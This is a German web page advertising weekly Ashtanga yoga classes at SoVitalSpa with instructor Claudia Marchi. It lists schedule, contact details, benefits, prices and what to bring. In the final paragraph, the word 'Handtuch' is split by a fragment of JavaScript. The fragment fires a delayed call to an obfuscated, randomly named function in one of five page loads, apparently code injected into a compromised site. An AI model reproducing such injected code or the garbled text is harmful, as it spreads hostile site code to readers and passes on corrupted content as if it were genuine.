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Lust auf Yoga? – Yogakurse im SoVitalSpa mit Claudia Marchi

  • Treff Samstag (außer in den Schulferien und an Feiertagen)
  • Uhr 10.00
  • Dauer 1.5 Stunden
  • Anmeldung am Telefon

 

 Claudia Marchi
 www.mapyourlife.eu

 089-55 26 42 74
 cm@mapyourlife.eu

 map your life®

 

Kursbeschreibung:

Diese Yogastunden basieren auf der ältesten Hathayogaform, dem Ashtanga Yoga. Das Besondere dieses Yogastils ist das Wechselspiel von kraftvoller, dynamischer Bewegungund statischer Haltung in den Körperpositionen (asanas). Dabei steht der eigene Atem als verbindendes Element im Mittelpunkt. Herz-Kreislauf-System, Muskelaufbau undDehnung werden dabei gleichberechtigt gefördert.

Damit Sie die vielschichtigen, positiven Wirkungen des Yogas erfahren können, achte ich innerhalb einer Gruppenstunde darauf, den Yoga, für die Teilnehmer des Kurses an dieindividuellen Bedürfnisse und Möglichkeiten anzupassen. Dadurch wird das gemeinsame Üben unabhängig von Alter und nnen möglich.

Ashtanga Yoga bietet eine Reihe von gesundheitsfördernden Aspekten für Gelenke, Wirbelsäule, Körpermuskulatur, Sehnen, Bänder, das Atem- und Nervensystem. Darüber hinaus hat er positiven Einfluss auf energetischer, mentaler und emotionaler Ebene und ist damit eine ausgezeichnete Möglichkeit zur Stressprävention 
und bewältigung

…und Spaß macht dieser Yoga natürlich auch.

Ich freue mich auf Sie…

 

Kosten
Einmalig: 17,- €
5er Karte: 80,- €
10er Karte: 145,- €

 

Mitbringen
Bitte bringen Sie bequeme Kleidung, ein Handom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andtuch und Ihre Yogamatte mit. Gruppengröße bis max. 10 Teilnehmer.